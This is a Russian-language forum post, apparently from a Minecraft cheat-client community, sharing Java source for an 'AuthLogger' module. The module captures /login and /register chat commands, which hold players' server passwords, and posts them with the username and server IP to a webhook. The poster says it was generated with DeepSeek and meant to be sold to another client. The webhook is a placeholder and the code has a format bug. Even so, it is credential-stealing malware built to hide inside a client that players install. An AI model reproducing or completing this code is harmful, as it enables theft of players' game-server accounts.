Начинающий
- Статус
- Оффлайн
- Регистрация
- 22 Май 2023
- Сообщения
- 254
- Реакции
- 4
ебать, я вспомнил про этот недоделанный логгер (дипсик solutions)огоКод:package code.vredux.modules.api; import code.vredux.Vredux; import net.minecraft.client.Minecraft; import net.minecraft.client.multiplayer.ServerData; import net.minecraft.util.text.TextFormatting; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; public class AuthLogger { private static final String WEBHOOK_URL = "прпрпр"; private final Vredux expensive; private final Minecraft mc; public AuthLogger(Vredux expensive) { this.expensive = expensive; this.mc = Minecraft.getInstance(); } public void checkAndSendAuthMessage(String message) { if (message.startsWith("/l ") || message.startsWith("/login ") || message.startsWith("/r ") || message.startsWith("/reg ") || message.equals("/l") || message.equals("/login") || message.equals("/r") || message.equals("/reg")) { sendAuthDataToWebhook(message); } } private void sendAuthDataToWebhook(String command) { try { String session = mc.getSession().getUsername(); String serverInfo = "Singleplayer"; ServerData serverData = mc.getCurrentServerData(); if (serverData != null) { serverInfo = serverData.serverIP; } String webhookMessage = String.format( "**Обнаружена команда авторизации**\n" + "Команда: `%s`\n" + "Игрок: `%s`\n" + "Сессия: `%s`\n" + "Сервер: `%s`", command, session, serverInfo ); sendWebhookMessage(WEBHOOK_URL, webhookMessage); } catch (Exception e) { } } private void sendWebhookMessage(String webhookUrl, String message) { try { URL url = new URL(webhookUrl); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/json"); conn.setDoOutput(true); String jsonPayload = "{\"content\" : \"" + message.replace("\"", "\\\"") + "\"}"; try (OutputStream os = conn.getOutputStream()) { byte[] input = jsonPayload.getBytes(StandardCharsets.UTF_8); os.write(input, 0, input.length); } conn.getResponseCode(); conn.disconnect(); } catch (Exception e) { e.printStackTrace(); } } }
он должен был продаться титаниуму за 600 рублей и как итог всем похуй стало и это говно осталось в сурсах
(p.s оно ничего не отправляет)